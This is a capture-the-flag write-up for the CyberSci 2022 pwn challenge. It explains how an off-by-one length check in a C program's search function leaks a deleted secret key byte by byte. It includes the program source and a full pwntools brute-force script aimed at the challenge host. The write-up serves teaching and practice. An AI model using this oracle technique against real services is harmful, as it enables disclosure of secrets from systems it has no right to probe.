About the challenge Link to this heading

This challenge is the only pwn challenge in CyberSci 2022 and is worth 300 points.

For this challenge, we were only provided with the source code. An instance of the program is spawned when we connect to the given port during the CTF.


Initial Exploration Link to this heading

Since we were not given a binary for the challenge, we can assume that the expected exploit should not require any specific kind of memory corruption.

Looking at main, we see a global buffer being allocated, and some multiple calls to add_entry. We also see a conditional addition and removal of CTFKEY.

c
 1// main program body
 2int main() {
 3    stringArea = malloc(MAXENTRYSIZE * 16);
 4
 5    add_entry("Test entry one\n");
 6    add_entry("Test entry two\n");
 7    add_entry("Test entry three\n");
 8    add_entry("Yet another test entry here!\n");
 9
10#ifdef PREPPUZZLE
11    // add_entry("TEST\n");
12    add_entry(CTFKEY);
13    remove_entry(CTFKEY);
14
15#endif
16    
17    while(1){
18        process_user_input();
19    }
20
21    return 0;
22}

add_entry will add the string in the next available and large enough area in stringArea

c
 1//add a string entry, places it in the next large enough slot in our string buffer
 2int add_entry(char *entryString)
 3{
 4    debug_printf("adding %s \n", entryString);
 5    int string_space_needed = strlen(entryString) - 1;
 6    // if the list is empty, just make a new entry at the beginning
 7    if(entry_list_head == NULL){
 8        entry_list_head = create_entry(entryString, stringArea, string_space_needed);
 9    }
10    //otherwise go through the items
11    //if the item is the first, check if there is a gap big enough infront 
12    //then check if there is a gap in between
13    else{
14        
15        struct entry *current = entry_list_head;
16
17        char *last_string_start = current->entry_string;
18        char *last_string_end = last_string_start + current->entry_size;
19
20        
21        while(current->next !=NULL){
22            debug_printf("element\n");
23            current = current->next;
24            last_string_start = current->entry_string;
25            last_string_end = last_string_start + current->entry_size;
26        }
27        //if we are at end of list, just make a new entry at the end
28        current->next = create_entry(entryString, last_string_end, string_space_needed);
29    }
30}

create_entry simply places the string in the indicated area in the buffer.

c
 1//helper function to make a new entry
 2entry * create_entry(char * entry_string, char * string_location, int string_len){
 3    entry *new_entry = malloc(sizeof(entry));
 4    if(!new_entry){
 5        exit(-1);
 6    }
 7    new_entry->entry_string = string_location;
 8    new_entry->entry_size = string_len;
 9    strncpy(new_entry->entry_string, entry_string, string_len);
10    new_entry->next = NULL;
11    return new_entry;
12}

The remove_entry function can be used to “delete” an entry. What it actually does is it removes all references to the first entry that matches with string, marking the area as free.

c
 1//remove an entry that matches the string
 2int remove_entry(char *string){
 3    entry *current = entry_list_head;
 4    entry *previous = current;
 5    while(current != NULL){
 6        int string_len = strlen(string) - 1;
 7        //first check if strings are same length
 8        if(string_len == current->entry_size){
 9            //DEBUG
10            debug_printf("same len \n");
11            if (strncmp(string, current->entry_string, current->entry_size) ==0)
12            {
13                printf("found match\n");
14                previous->next = current->next;
15                if(current == entry_list_head){
16                    entry_list_head = current->next;
17                }
18                free(current);
19                return 1;
20            }
21        }
22        //move along
23        previous = current;
24        current = current->next;
25    }
26    printf("no match found\n");
27}

The critical part of the program is search_entries, as it was noted to be broken. Notice that instead of looking for entries that match the string, it doesn’t work because entry_len is defined to be one more than the current entry size. This results in the program checking one extra byte when searching for entries. So, if we were to search for an entry that we know exists, search_entry will not find a match.

c
 1// loop through all the entries and print if there are any matches
 2//DEVELOLPER NOTE: this seems broken.....
 3int search_entries(char *string){
 4    entry *current = entry_list_head;
 5    int in_len = strlen(string) -1;
 6    while (current != NULL)
 7    {
 8        //check that the srtings are the same length
 9        int entry_len = current->entry_size + 1; 
10        if(in_len == entry_len){
11            debug_printf("matching len (%d,%d)   \n",in_len,entry_len);
12            if (strncmp(string, current->entry_string, entry_len) == 0)
13            {
14                printf("found match\n");
15                return 1;
16            }
17        }
18        //move along
19        current = current->next;
20    }
21    printf("no match found\n");
22    return 0;
23}

Because of the broken search_entry function, we would need to be able to know what the next character is in stringArea after the entry we’re searching.

Strategy Link to this heading

In a way, search_entry is an oracle to determining the contents of CTFKEY. Since we know the entry before CTFKEY, we can use that entry as a search query string, guess the first character of CTFKEY, add that to our search query, and see if we get a match or not.

Once we figured out the first character of CTFKEY we can extend our search query string to guess for the second character. To do that, we will remove the entry before CTFKEY, then add it again with the first character of CTFKEY. That way, we can extend our search query string and search_string would peek for the second character.

We would repeat the process of brute-force searching, removal and addition until we reveal the whole flag.

Exploit code Link to this heading

py
 1from pwn import *
 2from string import printable
 3
 4attack_remote = False
 5
 6if attack_remote:
 7    p = remote('10.0.2.43', 10001)
 8else:
 9    elf = ELF('./main')
10    p = elf.process()
11
12search_payload = b'Yet another test entry here!'
13
14while True:
15    guess_bytes = [bytes(c, 'utf-8') for c in printable]
16    found_valid_byte = False
17    for guess in guess_bytes:
18        p.sendline(b'search')
19        p.recvuntil(b'search for?\n')
20        print('payload: %s' % (search_payload + guess))
21        p.sendline(search_payload + guess)
22        result = p.recvuntil(b'or search :\n')
23        if b"found match" in result:
24            p.sendline(b'remove')
25            p.sendline(search_payload)
26            p.recvuntil(b'or search :\n')
27            search_payload = search_payload + guess
28            p.sendline(b'add')
29            p.sendline(search_payload)
30            p.recvuntil(b'or search :\n')
31            found_valid_byte = True
32            break
33    # if we didn't find any more valid bytes, just quit
34    if not found_valid_byte:
35        break
36
37print(search_payload[28:])